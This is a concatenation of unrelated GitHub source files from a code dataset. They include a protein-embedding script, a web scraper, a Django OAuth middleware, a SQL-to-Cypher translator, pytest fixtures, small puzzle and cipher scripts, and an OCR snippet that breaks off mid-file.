show_help()\n\n\ndef show_help():\n print('\\n')\n print('#' * 45)\n print('--help - Instruções')\n print('--print - Imprime resultados na tela')\n print('--save_csv - Salva dados em arquivo csv')\n print('--save_json - Salva dados em arquivo json')\n print('#' * 45)\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"GuiPimenta-Dev/desafio_digesto","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20375242852","text":"import esm\nimport torch\nimport pandas as pd\nfrom tqdm import tqdm\n\n# Load anitgen xlsx file in ./data and combine all sheets into one dataframe\ndf_neoantingens = pd.read_excel('./data/nature24473_MOESM4_neoantigens.xlsx', sheet_name=None)\n#df = pd.read_excel(input_file , sheet_name=None)\ndf_neoantingens = pd.concat(df_neoantingens.values(), ignore_index=True)\n\n\n#Load the preprocessed patients csv file\ndf_survival = pd.read_csv('./data/processed/patients.csv')\n\n#left join the two dataframes with 'Sample' as key and 0 as default value\ndf = pd.merge(df_neoantingens, df_survival, on='Sample', how='left').fillna(0)\n\n# select only the columns we need\ndf = df[['Sample', 'MUTATION_ID', 'MT.Peptide', 'year_death', 'Status', 'Months']]\n\n#create list of tuples with (MUTATION_ID, MT.Peptide) from the dataframe\ndata = [(row['MUTATION_ID'], row['MT.Peptide']) for index, row in df.iterrows()]\n\n#split the data into batches \nbatch_size = 512\ndata = [data[i : i + batch_size] for i in range(0, len(data), batch_size)]\n\n\n# Using the general purpose ESM-2 model\nmodel, alphabet = esm.pretrained.esm2_t36_3B_UR50D()\nbatch_converter = alphabet.get_batch_converter()\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\nmodel.to(device)\n\nmodel.eval() # disables dropout for deterministic result\n\nsequence_representations = []\n\nfor batch in tqdm(data):\n batch_labels, batch_strs, batch_tokens = batch_converter(batch)\n batch_lens = (batch_tokens != alphabet.padding_idx).sum(1)\n\n batch_tokens = batch_tokens.to(device)\n\n with torch.no_grad():\n results = model(batch_tokens, repr_layers=[33], return_contacts=True)\n\n token_representations = results[\"representations\"][33]\n\n for i, tokens_len in enumerate(batch_lens):\n sequence_representations.append(token_representations[i, 1 : tokens_len - 1].mean(0))\n\n# convert to numpy array\nsequence_representations = torch.stack(sequence_representations).cpu().numpy()\n\n# add sequence representations to dataframe, name the columns as 'embedding_0', 'embedding_1', etc.\nembedding_columns = [f'embedding_{i}' for i in range(sequence_representations.shape[1])]\nembedding_df = pd.DataFrame(sequence_representations, columns=embedding_columns)\ndf = pd.concat([df, embedding_df], axis=1)\n\n# drop the 'MT.Peptide' and 'MUTATION_ID column\ndf = df.drop(columns=['MT.Peptide', 'MUTATION_ID'])\n\n# replace that one dash in the Status column with 0\ndf['Status'] = df['Status'].replace('-', 0)\n\n#convert Status columnt to int\ndf['Status'] = df['Status'].astype(int)\n\n#save dataframe to feather file\ndf.to_feather('./data/processed/embeddings.feather')\n\n\n\n","repo_name":"adabi/neoantigen_pred-p_hacking","sub_path":"create_embeddings.py","file_name":"create_embeddings.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11713052881","text":"import requests\nimport csv\nfrom bs4 import BeautifulSoup\n\ndef get_data(SiteUrl, ClockModel, Price, Opisanie, Model, UrlImage):\n \n response = requests.get(SiteUrl)\n soup = BeautifulSoup(response.text, 'html.parser')\n Name = soup.select(ClockModel)\n Price = soup.select(Price)\n UrlImage = soup.select(UrlImage)\n Opisanie = soup.select(Opisanie)\n catalog_col4 = soup.select('.catalog-item--col4')\n ItemBlocksClock = soup.select('.catalog-item--col4 .catalog-item-blocks')\n DelClock = []\n\n print(catalog_col4)\n\n '''\n for e in ItemBlocksClock:\n if (e.name == 'div'):\n for i in e.children:\n if (i.name == 'div' and i.attrs['class'].__contains__('catalog-item-block-item')):\n for z in i.children:\n if (z.name == 'div'):\n for j in z.children:\n if (j.name == 'div'):\n for j in j.children:\n if (j.name == 'div'):\n DelClock.append(j)\n '''\n\n iter = 0\n'''\n with open('ClockCsv/' + Model + '.csv', mode='w', encoding='utf-8') as File:\n file_writer = csv.writer(File, delimiter=';')\n file_writer.writerow(['Модель', 'Цена', 'Описание', 'Ссылка на картинку'])\n\n for i in UrlImage:\n Url = SiteUrl[slice(0, SiteUrl.find('ru') + 2)] + i.find('img')['src']\n f = open('IconAndImages/' + Model + str(iter + 1) + '.jpg', 'wb')\n f.write(requests.get(Url).content)\n f.close()\n\n ClockModel = Name[iter].text + '|'\n PriceClock = Price[iter].text.strip()\n PriceClock = PriceClock[0:PriceClock.index('Р') - 1] + '|'\n OpisanieClock = Opisanie[iter].text.strip() + '|'\n Way = 'IconAndImages/' + Model + str(iter + 1) + '.jpg'\n All = (ClockModel + PriceClock + OpisanieClock + Way).split('|')\n print(ClockModel, PriceClock, Way, sep=';')\n with open('ClockCsv/' + Model + '.csv', mode='a', encoding='utf-8') as File:\n file_writer = csv.writer(File, delimiter=';')\n file_writer.writerow(All)\n\n iter += 1 \n '''\n \n\nmodel = ['swiss-military']\n\nfor i in model:\n get_data (\n f\"https://www.alltime.ru/watch/filter/brand:{i}/\", \n \"span[itemprop='name']\", \n \".catalog-item-price\",\n \".catalog-item-features\",\n f\"{i.capitalize()}\",\n \".catalog-item-photo-holder\"\n )","repo_name":"SeDan2004/Timezone2022","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73642034803","text":"import lib\n\ngc = lib.gspread.service_account(filename='gitignore/client_secret.json')\n\ndef getData(mode, workbook, sheet, range): #FromGSheet\n sh = gc.open_by_key(workbook)\n worksheet = sh.worksheet(sheet)\n if mode == \"Meta\" or mode == \"Trials\":\n res = worksheet.get(range, value_render_option='FORMULA')\n else:\n res = worksheet.get(range)\n return res\n\ndef pushData(data, workbook, sheet, start_letter, end_letter, start_row):\n\n for row in data:\n if row[len(row)-1] == \"X\" or row[len(row)-1] == \"V\":\n row = row.pop()\n\n sh = gc.open_by_key(workbook)\n worksheet = sh.worksheet(sheet)\n end_row = start_row + len(data) - 1\n range = \"%s%d:%s%d\" % (start_letter, start_row, end_letter, end_row)\n cell_list = worksheet.range(range)\n\n try:\n idx = 0\n for (start_row, rowlist) in enumerate(data):\n for (colnum, value) in enumerate(rowlist):\n cell_list[idx].value = value\n idx += 1\n if idx >= len(cell_list):\n break\n \n # Update the whole sheet\n worksheet.update_cells(cell_list)\n return \"Done\"\n except:\n return \"Not Done\"\n\ndef reset_trialdata(workbook, sheet, range):\n sh = gc.open_by_key(workbook) \n sh.values_clear(f\"{sheet}!{range}\")\n\ndef get_trialsheetlist(workbook):\n sh = gc.open_by_key(workbook)\n worksheets_list = sh.worksheets()\n list = []\n for worksheet in worksheets_list:\n if worksheet.title != \"Summary\":\n list.append(worksheet.title)\n\n \n return list\n\n","repo_name":"Kahinh/UrskaBot-UrskiBot","sub_path":"Functions/Builds/GSheet.py","file_name":"GSheet.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32255383143","text":"from django.contrib import auth\nfrom django.contrib.auth import get_user_model\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.core import signing\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponseRedirect\nfrom django.utils.deprecation import MiddlewareMixin\nfrom django.utils.functional import SimpleLazyObject\nfrom jwt import decode, InvalidTokenError\nfrom jwt.api_jwt import decode_complete as decode_token\n\nimport logging\nfrom .models import ApiClient, IdentityProvider\nfrom .views import get_oauth2_authentication_uri_from_name\n\nlogger = logging.getLogger(__name__)\n\n\ndef verify_signed_jwt(jwt):\n decoded = decode_token(jwt, options={\"verify_signature\": False})\n payload = decoded[\"payload\"]\n issuer = payload['iss']\n audiance = payload['aud'] # this is the id of a client of our api\n kid = decoded['header'].get('kid')\n idp = IdentityProvider.objects.get(issuer=issuer)\n key = idp.get_signing_key_from_kid(kid)\n payload = decode(jwt, key=key, audiance=audiance, options={'verify_signature': True})\n return payload, idp\n\n\nclass IterableLazyObject(SimpleLazyObject):\n def __iter__(self):\n if self._wrapped is None:\n self._setup()\n return self._wrapped.__iter__()\n\n\ndef get_user_and_client_from_token(access_token):\n try:\n if not access_token:\n return AnonymousUser(), None, set()\n data, idp = verify_signed_jwt(access_token)\n defaults = {'unique_name': \"%s.%s\" % (idp, data['sub'])}\n user = get_user_model().objects.get_or_create(uuid=data['sub'], identity_provider=idp, defaults=defaults)[0]\n client = ApiClient.objects.get(identity_provider=idp, client_id=data['aud'], is_active=True)\n scopes = set()\n if data.get('scope'):\n scopes = set(data['scope'].split())\n except (ObjectDoesNotExist, signing.BadSignature, ValueError, InvalidTokenError) as e:\n logger.exception(e)\n return AnonymousUser(), None, set()\n return user, client, scopes\n\n\ndef get_auth_data(request):\n \"\"\"\n Look for\n \n 1. Authorization Header if path starts with /api/\n 2. access_token Parameter if path starts with /api/\n 3. Standard django session_id\n \n for authentication information\n \n \"\"\"\n if not hasattr(request, '_cached_auth_data'):\n if request.path.find('/api/') != -1:\n access_token = None\n http_authorization = request.META.get('HTTP_AUTHORIZATION')\n if http_authorization:\n http_authorization = http_authorization.split()\n if http_authorization[0] == 'Bearer':\n access_token = http_authorization[1]\n else:\n access_token = request.POST.get('access_token', request.GET.get('access_token'))\n if access_token:\n request._cached_auth_data = get_user_and_client_from_token(access_token)\n\n if not hasattr(request, '_cached_auth_data'):\n # try django auth session\n request._cached_auth_data = auth.get_user(request), None, set()\n return request._cached_auth_data\n\n\nclass OAuthAuthenticationMiddleware(MiddlewareMixin):\n def process_request(self, request):\n assert hasattr(request,\n 'session'), \"The Django authentication middleware requires session middleware to be installed.\" \\\n \" Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.sessions.\" \\\n \"middleware.SessionMiddleware'.\"\n\n request.user = SimpleLazyObject(lambda: get_auth_data(request)[0])\n request.client = SimpleLazyObject(lambda: get_auth_data(request)[1])\n request.scopes = IterableLazyObject(lambda: get_auth_data(request)[2])\n\n\nclass LoginMiddleware(MiddlewareMixin):\n def process_request(self, request):\n assert hasattr(request, 'user'), \"The Login Required middleware requires authentication middleware to be installed.\"\n\n issuer = request.GET.get('iss', None)\n if issuer:\n url = get_oauth2_authentication_uri_from_name(request)\n if url:\n return HttpResponseRedirect(url)\n return None\n","repo_name":"g10f/oauth-python-sample","sub_path":"apps/client/oauth2/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":4241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"36558656694","text":"import pandas as pd\nimport os\n\n\ndef start_extractor():\n if os.path.exists(\"Offers_under_1500_TUI.csv\"):\n os.remove(\"Offers_under_1500_TUI.csv\")\n\n offers = pd.read_csv(\n \"TUI_last_minute_offers.csv\", encoding=\"ISO-8859-2\", encoding_errors=\"replace\"\n )\n\n not_acceptable_ratings = [\"2/5\", \"2.5/5\", \"3/5\", \"3.5/5\"]\n not_acceptable_countries = [\"Bułgaria\", \"Albania\", \"Węgry\", \"Czechy\", \"Austria\"]\n not_acceptable_hotels = [\"Savvas\", \"Marianna Apart Hotel\"]\n\n offers_price_below_1500 = offers.loc[offers[\"price\"] <= 1500]\n\n offers_with_rating_above_4_or_none = offers[\n ~offers[\"trip_advisor_rating\"].isin(not_acceptable_ratings)\n ]\n offers_with_wished_countries = offers[\n ~offers[\"country\"].isin(not_acceptable_countries)\n ]\n\n offers_above_4_wished_countries_below_1500 = pd.merge(\n pd.merge(\n offers_with_rating_above_4_or_none,\n offers_with_wished_countries,\n how=\"inner\",\n ),\n offers_price_below_1500,\n how=\"inner\",\n )\n\n final_offers_1500 = offers_above_4_wished_countries_below_1500[\n ~offers_above_4_wished_countries_below_1500[\"hotel\"].isin(not_acceptable_hotels)\n ]\n\n if not final_offers_1500.empty:\n final_offers_1500.to_csv(\"Offers_under_1500_TUI.csv\")\n","repo_name":"ZbigniewKorycki/Tui_Low_Price_Finder","sub_path":"extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33852309630","text":"from model_transformations.query_transformations.parse_tree_trasformations.column import Column\nfrom model_transformations.query_transformations.parse_tree_trasformations.typecast import pg_types_to_neo4j_types\n\n\nclass Where:\n\n \"\"\"\n This class implements only filtering conditional where clauses. Where clauses that create joins between tables are handled in Join class.\n\n In practice this means that this class handles all other cases expect those where parse tree has ColumnRef on both left and right side and these ColumnRefs induce a valid\n edge in the graph schema.\n\n /*\n * A_Expr - infix, prefix, and postfix expressions\n */\n typedef enum A_Expr_Kind\n {\n AEXPR_OP, /* 0 normal operator */\n AEXPR_OP_ANY, /* 1 scalar op ANY (array) */\n AEXPR_OP_ALL, /* 2 scalar op ALL (array) */\n AEXPR_DISTINCT, /* 3 IS DISTINCT FROM - name must be \"=\" */\n AEXPR_NOT_DISTINCT, /* 4 IS NOT DISTINCT FROM - name must be \"=\" */\n AEXPR_NULLIF, /* 5 NULLIF - name must be \"=\" */\n AEXPR_IN, /* 6 [NOT] IN - name must be \"=\" or \"<>\" */\n AEXPR_LIKE, /* 7 [NOT] LIKE - name must be \"~~\" or \"!~~\" */\n AEXPR_ILIKE, /* 8 [NOT] ILIKE - name must be \"~~*\" or \"!~~*\" */\n AEXPR_SIMILAR, /* 9 [NOT] SIMILAR - name must be \"~\" or \"!~\" */\n AEXPR_BETWEEN, /* 10 name must be \"BETWEEN\" */\n AEXPR_NOT_BETWEEN, /* 11 name must be \"NOT BETWEEN\" */\n AEXPR_BETWEEN_SYM, /* 12 name must be \"BETWEEN SYMMETRIC\" */\n AEXPR_NOT_BETWEEN_SYM /* 13 name must be \"NOT BETWEEN SYMMETRIC\" */\n } A_Expr_Kind;\n\n \"\"\"\n\n def __init__(self, where_clause, from_clause, cte=False, cte_name=\"\"):\n #print(json.dumps(where_clause, indent = 2))\n self.where_clause = where_clause\n self.left = None\n self.operator = None\n self.right = None\n self.joins = []\n self.from_clause = from_clause\n self.cte = cte\n self.cte_name = cte_name\n self.type = None\n self.left_side_typecasted = False\n self.right_side_typecasted = False\n self.kind = None\n\n if \"A_Expr\" in self.where_clause.keys():\n\n self.left_side = self.where_clause[\"A_Expr\"][\"lexpr\"]\n self.right_side = self.where_clause[\"A_Expr\"][\"rexpr\"]\n self.operator = self.where_clause[\"A_Expr\"][\"name\"][0][\"String\"][\"str\"]\n self.kind = self.where_clause[\"A_Expr\"][\"kind\"]\n\n if self.kind == 0:\n\n if type(self.left_side) == dict and type(self.right_side) == dict:\n\n if \"ColumnRef\" in self.left_side.keys() and \"ColumnRef\" in self.right_side.keys():\n\n self.left = Column(\n self.left_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n self.right = Column(\n self.right_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n else:\n if \"ColumnRef\" in self.left_side.keys():\n\n self.left = Column(\n self.left_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n elif \"A_Const\" in self.left_side.keys():\n\n self.left = self.handle_a_const(self.left_side)\n\n elif \"TypeCast\" in self.left_side.keys():\n self.left, self.type = self.handle_typecast(\n self.left_side)\n self.left_side_typecasted = True\n\n if \"ColumnRef\" in self.right_side.keys():\n\n self.right = Column(\n self.right_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n elif \"A_Const\" in self.right_side.keys():\n self.right = self.handle_a_const(self.right_side)\n\n elif \"TypeCast\" in self.right_side.keys():\n self.right, self.type = self.handle_typecast(\n self.right_side)\n self.right_side_typecasted = True\n\n elif self.kind == 7:\n\n if type(self.left_side) == dict and type(self.right_side) == list:\n\n if \"ColumnRef\" in self.left_side.keys():\n self.left = Column(\n self.left_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n self.right = []\n for elem in self.right_side:\n if \"A_Const\" in elem.keys():\n self.right.append(self.handle_a_const(elem))\n elif \"TypeCast\" in elem.keys():\n res, self.type = self.handle_typecast(\n self.right_side)\n self.right.append(res)\n self.right_side_typecasted = True\n\n elif self.kind == 11:\n\n if type(self.left_side) == dict and type(self.right_side) == list:\n if \"ColumnRef\" in self.left_side.keys():\n self.left = Column(\n self.left_side[\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n\n self.right = []\n for elem in self.right_side:\n if \"A_Const\" in elem.keys():\n self.right.append(self.handle_a_const(elem))\n elif \"TypeCast\" in elem.keys():\n res, self.type = self.handle_typecast(elem)\n self.right.append(res)\n self.right_side_typecasted = True\n\n elif \"NullTest\" in self.where_clause.keys():\n self.kind = \"nulltest\"\n self.left = Column(\n self.where_clause[\"NullTest\"][\"arg\"][\"ColumnRef\"], self.from_clause, self.cte, self.cte_name)\n self.operator = \"IS\"\n self.right = \"NULL\"\n\n def transform_into_cypher(self, add_where=True):\n res = \"\"\n if self.left and self.right:\n if add_where:\n res = \"WHERE \"\n\n \"\"\"\n Left side of the single where clause\n \"\"\"\n\n if self.kind == 11:\n if self.operator == \"BETWEEN\":\n if self.type == \"timestamp\":\n if len(self.right) == 2:\n\n \"\"\"\n Strange but Neo4j lacks datetime comparisions. Transforming datetimes into integers and comparing them is the workaround here.\n \"\"\"\n\n res += self.right[0] + \".epochMillis \" + \" <= \" + pg_types_to_neo4j_types(self.type,\n self.left.transform_into_cypher(), \"column\") + \".epochMillis <= \" + self.right[1] +\".epochMillis\" + \"\\n\"\n else:\n\n if type(self.left) == str:\n res += '\"' + str(self.left) + '\"'\n elif type(self.left) == int:\n res += str(self.left)\n else:\n if self.right_side_typecasted:\n res += pg_types_to_neo4j_types(self.type,\n self.left.transform_into_cypher(), \"column\") + \" \"\n else:\n res += self.left.transform_into_cypher() + \" \"\n\n \"\"\"\n Operator i.e. equality, inequality or other comparision, inclusion etc.\n Most of the time Postgres and Neo4j have same naming here.\n \"\"\"\n\n if self.kind == 7:\n res += \"IN \"\n else:\n res += self.operator + \" \"\n\n \"\"\"\n Right side of the single where clause\n \"\"\"\n\n if type(self.right) == str:\n res += '\"' + str(self.right) + '\"'\n elif type(self.right) == int:\n res += str(self.right)\n elif type(self.right) == list:\n if self.kind == 7:\n res += \"[\"\n for elem in self.right:\n res += \"'\" + elem + \"'\" + \", \"\n res = res[0:-2] + \"]\"\n else:\n if self.left_side_typecasted:\n res += pg_types_to_neo4j_types(self.type,\n self.right.transform_into_cypher(), \"column\") + \" \"\n else:\n res += self.right.transform_into_cypher()\n return res + \"\\n\"\n\n return res + \"\\n\"\n\n def get_left(self):\n return self.left\n\n def get_right(self):\n return self.right\n\n def handle_a_const(self, elem):\n temp = elem[\"A_Const\"][\"val\"]\n if \"Float\" in temp.keys():\n return temp[\"Float\"][\"str\"]\n elif \"String\" in temp.keys():\n return temp[\"String\"][\"str\"]\n elif \"Integer\" in temp.keys():\n return temp[\"Integer\"][\"ival\"]\n\n def handle_typecast(self, elem):\n value = elem[\"TypeCast\"][\"arg\"][\"A_Const\"][\"val\"][\"String\"][\"str\"]\n type = elem[\"TypeCast\"][\"typeName\"][\"TypeName\"][\"names\"][-1][\"String\"][\"str\"]\n result = pg_types_to_neo4j_types(type, value)\n return result, type\n","repo_name":"valterUo/MultiCategory-backend-py","sub_path":"src/model_transformations/query_transformations/parse_tree_trasformations/where.py","file_name":"where.py","file_ext":"py","file_size_in_byte":9791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40051799300","text":"import os.path\nimport pytest\nimport re\nimport textwrap\n\n# Python 2/3 compatible imports\ntry:\n from configparser import SafeConfigParser\nexcept ImportError:\n from ConfigParser import SafeConfigParser\n\nfrom amazonproduct import utils\n\npytest_plugins = 'localserver'\n\n\ndef pytest_addoption(parser):\n group = parser.getgroup('amazonproduct',\n 'custom options for testing python-amazon-product-api')\n group._addoption('--locale', action='append', dest='locales',\n metavar='LOCALE', help='Locale to use (e.g. \"de\" or \"us\"). This option '\n 'can be used more than once. Note that tests with specific locales '\n 'defined which do not match the ones specified by this option will '\n 'NOT be run.')\n group._addoption('--api-version', action='append', dest='versions',\n metavar='VERSION', help='API version to use (e.g. \"2010-09-01\"). This '\n 'option can be used more than once. Note that tests with specific '\n 'versions defined which do not match the ones specified by this '\n 'option will NOT be run.')\n group._addoption('--refetch', action='store', type='choice', dest='fetch',\n metavar='method', choices=['no', 'missing', 'outdated', 'all'],\n default='no', help='Fetch responses from live server and overwrite '\n 'previously cached XML file: one of no (default)|missing|outdated|'\n 'all.')\n group._addoption('--processor', action='append', dest='processors',\n metavar='PROCESSOR', choices=['objectify', 'etree', 'elementtree', 'minidom'],\n help='Result processor to use: one of objectify|etree|minidom.')\n\n\ndef pytest_funcarg__server(request):\n \"\"\"\n Is the same as funcarg `httpserver` from plugin pytest-localserver with the\n difference that it has a module-wide scope.\n \"\"\"\n def setup():\n from pytest_localserver import http\n server = http.ContentServer()\n server.start()\n return server\n def teardown(server):\n server.stop()\n return request.cached_setup(setup, teardown, 'module')\n\n\nclass DummyConfig (object):\n\n \"\"\"\n Dummy config to which to which you can add config files which in turn will\n be created on the file system as temporary files.\n \"\"\"\n\n _file_counter = 0\n\n def __init__(self, tmpdir):\n self.tmpdir = tmpdir\n self.files = []\n\n def add_file(self, content, path):\n \"\"\"\n Writes one temporary file.\n \"\"\"\n if not path:\n path = 'config-%i' % self._file_counter\n self._file_counter += 1\n p = self.tmpdir.ensure(os.path.expanduser(path))\n p.write(textwrap.dedent(content))\n self.files += [p.strpath]\n\n _REG = re.compile(r'^#\\s*file:\\s+(.+?)\\n', re.DOTALL | re.MULTILINE)\n\n def load_from_string(self, content):\n \"\"\"\n Creates config files from string which is split up into file blocks and\n written to temporary files.\n \"\"\"\n last = 0 # end of the last matching '# file: XXX'\n path = None # path of the last matching '# file: XXX'\n for m in self._REG.finditer(content):\n if path is not None:\n self.add_file(content[last:m.start()], path)\n path = m.group(1)\n last = m.end()\n if path is not None:\n self.add_file(content[last:], path)\n else:\n raise ValueError('Where are the file paths?')\n\n def read(self, filenames):\n \"\"\"Read and parse a filename or a list of filenames.\n\n Files that cannot be opened are silently ignored; this is\n designed so that you can specify a list of potential\n configuration file locations (e.g. current directory, user's\n home directory, systemwide directory), and all existing\n configuration files in the list will be read. A single\n filename may also be given.\n\n Return list of successfully read files.\n \"\"\"\n if isinstance(filenames, basestring):\n filenames = [filenames]\n read_ok = []\n for filename in filenames:\n try:\n fp = open(filename)\n except IOError:\n continue\n self._read(fp, filename)\n fp.close()\n read_ok.append(filename)\n return read_ok\n\n def __repr__(self):\n return '' % (hex(id(self)), self.files)\n\n\ndef pytest_funcarg__configfiles(request):\n \"\"\"\n Returns a dummy config to which you can add config files which in turn will\n be created on the file system as temporary files. You can use the following\n methods:\n\n To add a single config file use ``configfiles.add_file(content, path)``. If\n you omit the ``path``, some arbitrary file name is used. ::\n\n configfiles.add_file('''\n [Credentials]\n access_key = ABCDEFGH12345\n secret_key = abcdegf43\n locale = de''', path='/etc/amazon-product-api.cfg')\n\n In order to add multiple config files at once, you can use the following\n method::\n\n configfiles.load_from_string('''\n # file: /etc/boto.cfg\n [Credentials]\n aws_access_key_id = Hhdjksaiunkljfl\n aws_secret_access_key = difioemLjdks02\n \n # file: /home/user/.amazon-product-api\n [Credentials]\n locale = de\n ''') \n\n \"\"\"\n tmpdir = request.getfuncargvalue('tmpdir')\n monkeypatch = request.getfuncargvalue('monkeypatch')\n\n def prepend_tmppath(dir, files):\n return [tmpdir.join(os.path.expanduser(fn)).strpath for fn in files]\n monkeypatch.setattr(utils, 'CONFIG_FILES',\n prepend_tmppath(tmpdir, utils.CONFIG_FILES))\n\n cfg = DummyConfig(tmpdir)\n return cfg\n","repo_name":"redtoad/python-amazon-product-api","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":5751,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"71632402802","text":"from itertools import combinations\n\n\ndef solution(n, info):\n biggest = 1 # 라이언과 어피치의 최대 점수 차이. 동점인 경우 라이언의 패배이기 때문에 초기값은 1로 세팅\n answers = [] # 라이언의 가능한 점수 후보 리스트\n\n for i in range(1, 12):\n for candidates in combinations(range(11), i): # candidates: 0점 ~ 10점 사이에서 라이언이 맞춘 과녁 점수 후보들의 조합\n remaining = n # 남은 화살 수\n balance = 0 # 라이언과 어피치의 점수 차이\n scores = [0 for _ in range(11)] # 라이언이 쏜 결과\n for score_idx, apeach in enumerate(info):\n if apeach < remaining and score_idx in candidates: # 이 과녁이 라이언이 맞춘 과녁 후보에 속하는 경우\n scores[score_idx] = apeach + 1\n remaining -= apeach + 1 # 어피치보다 한 발은 더 쏴야 라이언이 점수 가져감\n balance += 10 - score_idx # 라이언 득점\n elif apeach:\n balance -= 10 - score_idx # 어피치 득점\n if remaining: # 쏠 수 있는 화살이 남은 경우 가장 낮은 점수를 많이 쏘는게 좋음\n scores[-1] += remaining\n\n if balance == biggest:\n if not any(elem == scores for elem in answers): # 새로 구한 scores 리스트와 똑같은 값을 가지는 후보가 이미 존재하면 무시\n answers.append(scores)\n elif balance > biggest:\n biggest = balance\n answers.clear()\n answers.append(scores)\n\n if not answers:\n return [-1]\n\n elem_sum = [sum(10**(i + 1)*val for i, val in enumerate(elem)) for elem in answers] # 가장 낮은 점수를 더 많이 맞춘 후보를 찾기 위해 가장 낮은 자리부터 10^n 의 가중치를 부여\n return answers[elem_sum.index(max(elem_sum))] # 위에서 구한 가중치들 중 최대값의 후보 리턴\n\n\nif __name__ == '__main__':\n n = 10\n info = [0,0,0,0,0,0,0,0,3,4,3]\n print(solution(n, info))\n","repo_name":"LifesLike/algorithm-study","sub_path":"7월 3주차/양궁대회/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20906461364","text":"alphabet = \"aZbYcXdWeVfUgThSiRjQkPlOmNnMoLpKqJrIsHtGuFvEwDxCyBzA\"\n\ndef ceaserCipher(message, shifts, encrypt):\n\tif encrypt == True:\n\t\tnewMessage = \"\"\n\t\tfor letter in message:\n\t\t\tletterPosition = alphabet.find(letter)\n\t\t\ttry:\n\t\t\t\tnewMessage += alphabet[letterPosition + shifts]\n\t\t\texcept:\n\t\t\t\tnewIndex = (len(alphabet) - letterPosition)\n\t\t\t\tnewMessage += alphabet[newIndex]\n\t\treturn newMessage\n\n\telse:\n\t\tnewMessage = \"\"\n\t\tfor letter in message:\n\t\t\tletterPosition = alphabet.find(letter)\n\t\t\ttry:\n\t\t\t\tnewMessage += alphabet[letterPosition - shifts]\n\t\t\texcept:\n\t\t\t\tnewIndex = -len(alphabet) + shifts\n\t\t\t\tnewMessage += alphabet[newIndex]\n\t\treturn newMessage\nnope = ceaserCipher(\"hello\", 36, True)\nprint(nope)\nprint(ceaserCipher(nope, 36, False))\n","repo_name":"connorjohnson85/CLIFF","sub_path":"backend/services/cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38518808583","text":"\"\"\"add session time in calendar\n\nRevision ID: 3f59ea2f5a07\nRevises: 71b9b4083f1a\nCreate Date: 2020-07-09 23:59:16.773717\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3f59ea2f5a07'\ndown_revision = '71b9b4083f1a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('calendar', sa.Column('event_time', sa.Time(), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('calendar', 'event_time')\n # ### end Alembic commands ###\n","repo_name":"DocFoUkS/Photo_Bag","sub_path":"migrations/versions/3f59ea2f5a07_add_session_time_in_calendar.py","file_name":"3f59ea2f5a07_add_session_time_in_calendar.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33655832034","text":"import requests\n\n# The URL to the API\nurl = 'https://randomfox.ca/floof'\n\n# Make the API call using the GET method\nresponse = requests.get(url)\n\n# Convert to a more usable format (JSON(Json conversion is built into the Requests module))\nfox = response.json()\n\n# Print the response (In JSON)\nprint(fox)\n\n# Parse the JSON to get the direct Image Link\nprint(fox['image'])\n","repo_name":"ThreeTheOG/Random","sub_path":"RequestsExample.py","file_name":"RequestsExample.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23416320060","text":"import cv2\nfrom pytesseract import pytesseract\nfrom pytesseract import Output\n\n# Путь до установленной программы по распознаванию текста\npytesseract.tesseract_cmd = \"C:\\\\Program Files\\\\Tesseract-OCR\\\\tesseract.exe\"\n\n# pytesseract.tesseract_cmd = \"/usr/local/Cellar/tesseract/4.1.1/bin/tesseract.exec\"\n\n# One picture text recognition\n# img = cv2.imread(\"text.png\")\n#\n# img_text = pytesseract.image_to_string(img)\n#\n# print(img_text)\n\n# img_data = pytesseract.image_to_data(img, output_type=Output.DICT)\n#\n# for i, word in enumerate(img_data[\"text\"]):\n# if word != 